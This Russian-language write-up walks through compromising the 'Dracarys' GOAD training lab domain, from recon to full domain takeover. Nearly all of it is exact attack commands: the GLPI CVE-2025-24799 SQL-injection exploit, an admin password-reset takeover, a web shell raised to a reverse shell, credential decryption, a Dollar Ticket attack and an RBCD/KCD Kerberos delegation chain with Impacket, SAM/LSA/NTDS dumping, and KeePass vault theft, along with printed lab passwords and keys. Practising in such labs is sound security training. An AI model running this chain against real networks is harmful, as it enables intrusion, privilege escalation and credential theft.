Dracarys — новая лаба в GOAD, рассчитанная на профи.
Состоит из трех машин:
- Windows Server 2025 — DC
- Windows Server 2025 — Сервер
- Ubuntu 24.04 — Сервер
Все они находятся в составе домена — dracarys.lab.
Поехали.
192.168.56.10 - BALERION (DС, Windows Server 2025)
192.168.56.11 - VHAGAR (Server, Windows Server 2025)
192.168.56.12 - SYRAX (Server, Ubuntu 24.04)
Начнем разведку с Linux сервера
nmap -A -sV -p- -T5 192.168.56.12
Находим следующее
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
443/tcp open http Apache httpd 2.4.58
3306/tcp open mysql MySQL 8.0.45
Я ограничусь лишь текстовой частью, без скриншотов (мне хватает их в реальной работе и на Standoff ;), кто захочет — повторит сам.
Видим, что apache не дает ничего полезного и начинаем фаззить
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.56.12/FUZZ" -ic
Находим GLPI и сразу приступаем к поиску известных уязвимостей
glpwnme -t http://192.168.56.12/glpi/ --check-all
Попробуем проэксплуатировать CVE-2025-24799
glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run -O time=0.4 \
sql="SELECT CONCAT(users_id, ':', email) FROM glpi_useremails LIMIT 1"
Находим email администратора
noreply@dracarys.lab
Сбрасываем пароль, извлекаем токен сброса и устанавливаем новый пароль
glpwnme -t http://192.168.56.12/glpi/ -e "CVE_2025_24799" --run \
sql="SELECT password_forget_token FROM glpi_users WHERE name='glpi'"
http://192.168.56.12/glpi/front/lostpassword.php?password_forget_token=здесь_сам_токен
Теперь при помощи уязвимости PHP upload реализуем RCE
glpwnme -t http://192.168.56.12/glpi/ -u glpi -p glpi -e "PHP_UPLOAD" --run
Далее получаем ссылку на наш web shell и повышаем его до reverse shell
В конфигах GLPI находим креды к MySQL
public $dbuser = 'glpi';
public $dbpassword = 'glpi';
Подключаемся и в таблице glpi_authldaps находим интересное
host: ldaps://balerion.dracarys.lab
rootdn: CN=sunfyre,CN=Users,DC=dracarys,DC=lab
rootdn_passwd: Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR
Ключ хранится в glpicrypt.key. С помощью следующего скрипта — расшифровываем его
<?php
define('GLPI_ROOT', '/var/www/html/glpi');
define('GLPI_CONFIG_DIR', GLPI_ROOT . '/config/');
require GLPI_ROOT . '/vendor/autoload.php';
require GLPI_ROOT . '/src/GLPIKey.php';
$key = new GLPIKey();
$enc = "Whqrp48IKkTk7+QAx5xywTnWYvoU/CvrcnQdpb57YkvO9QeIqUmWVazMEsGbqsCG2LabXKjX7IEzmXCR";
echo $key->decrypt($enc) . PHP_EOL;
Получаем первые доменные креды
sunfyre:BSno5DP4tjJ4jIu8is3B
Проверяем их
nxc smb 192.168.56.10 -u sunfyre -p 'BSno5DP4tjJ4jIu8is3B'
Теперь попробуем с помощью BloodHound найти что-то интересное
bloodhound-python -c All -u sunfyre -p BSno5DP4tjJ4jIu8is3B -d dracarys.lab -dc BALERION.dracarys.lab -ns 192.168.56.10 --zip
Обращаем внимание на
sunfyre в LinuxUsers
MachineAccountQuota: 10
viserion - WriteSPN - VHAGAR$
Здесь я предлагаю самостоятельно почитать про Dollar Ticket Attack, а мы продолжим захват домена
addcomputer.py -computer-name 'root$' -dc-host balerion.dracarys.lab -domain-netbios dracarys.lab 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B'
getTGT.py -dc-ip 192.168.56.10 'dracarys.lab/root:здесь_ваш_пароль'
export KRB5CCNAME=root.ccache;ssh -o GSSAPIAuthentication=true root@syrax.dracarys.lab
Получаем root на SYRAX
Собираем все интересное
python3 keytabextract.py /etc/krb5.keytab
export KRB5CCNAME=krb5cc_viserion;nxc smb BALERION.dracarys.lab -u viserion@DRACARYS.LAB -k --use-kcache
Приступаем к Ghost SPN + RBCD Chain.
findDelegation.py 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B'
Здесь можно долго смотреть на вывод, копаться в BloodHound, пробовать S4U-атаку и пытаться эксплуатировать -force-forwardable в Impacket — скажу сразу, будем ловить ошибки. Рекомендую здесь, как и выше с Dollar Ticket Attack, остановиться и погрузиться в суть происходящего. Очень пригодится на подобных лабах.
Чтобы обойти ограничение protocol transition, строим цепочку RBCD — KCD.
KRB5CCNAME=viserion.ccache bloodyAD -u viserion -k -d dracarys.lab --host balerion.dracarys.lab --dc-ip 192.168.56.10 set object 'vhagar$' servicePrincipalName -v 'WSMAN/vhagar.dracarys.lab' -v 'TERMSRV/VHAGAR' -v 'TERMSRV/vhagar.dracarys.lab' -v 'RestrictedKrbHost/VHAGAR' -v 'HOST/VHAGAR' -v 'RestrictedKrbHost/vhagar.dracarys.lab' -v 'HOST/vhagar.dracarys.lab' -v 'HTTP/arrax' -v 'HTTP/arrax.dracarys.lab'
addcomputer.py -computer-name 'ARRAX$' -computer-pass 'Password1337' 'dracarys.lab/sunfyre:BSno5DP4tjJ4jIu8is3B' -dc-ip 192.168.56.10
getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10
export KRB5CCNAME=SYRAX\$.ccache
rbcd.py -delegate-from 'ARRAX$' -delegate-to 'SYRAX$' -use-ldaps -k -no-pass -action write 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10
unset KRB5CCNAME
getST.py -spn 'SYRAX$' -impersonate Administrator 'dracarys.lab/ARRAX$:Password1337' -dc-ip 192.168.56.10
getTGT.py -aesKey '37870be09499a141a3229a1939f81f3269e30d59ff242e9fcf04fa6aef7e4f1c' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10
export KRB5CCNAME=SYRAX\$.ccache
getST.py -spn 'HTTP/arrax.dracarys.lab' -impersonate Administrator -k -no-pass -additional-ticket 'Administrator@SYRAX$@DRACARYS.LAB.ccache' 'dracarys.lab/SYRAX$' -dc-ip 192.168.56.10
tgssub.py -in 'Administrator@HTTP_arrax.dracarys.lab@DRACARYS.LAB.ccache' -out Administrator_winrm.ccache -altservice 'HTTP/vhagar.dracarys.lab'
export KRB5CCNAME=Administrator_winrm.ccache
evil-winrm -i vhagar.dracarys.lab -r dracarys.lab
Поздравляю с локальным админом на VHAGAR
Пора забрать Domain Admin
Добавляем своего локального админа и дампим креды
nxc smb 192.168.56.11 -u m0nr0e21 -p Password1337 --local-auth --sam --lsa --dpapi
В скрипте по пути
*Evil-WinRM* PS C:\> type "C:/bot_ssh.ps1"
Находим креды от viserion
$User = "viserion"
$Password = "aLHtz1WvIVmeV4Zh4CDE"
Замечаем, что запущен KeePass, а пароль от хранилища виден в командной строке
*Evil-WinRM* PS C:\> Get-WmiObject Win32_Process -Filter "ProcessId=здесь_ID_процесса" | Select-Object CommandLine
"C:\WINDOWS\system32\cmd.exe" /c "echo lj-endlmkfQSLDKPDFNZLEK | "C:\Program Files\KeePass Password Safe 2\KeePass.exe" C:\vault.kdbx -pw-stdin"
Скачиваем сам vault, открываем и забираем доменного админа
Проверяем учетку
nxc smb 192.168.56.10 -u drogon -p 'sUIjHxs1i0yxZsGBreh0'
Завершаем лабу
nxc smb 192.168.56.10 -u drogon -p sUIjHxs1i0yxZsGBreh0 --ntds
Домен скомпрометирован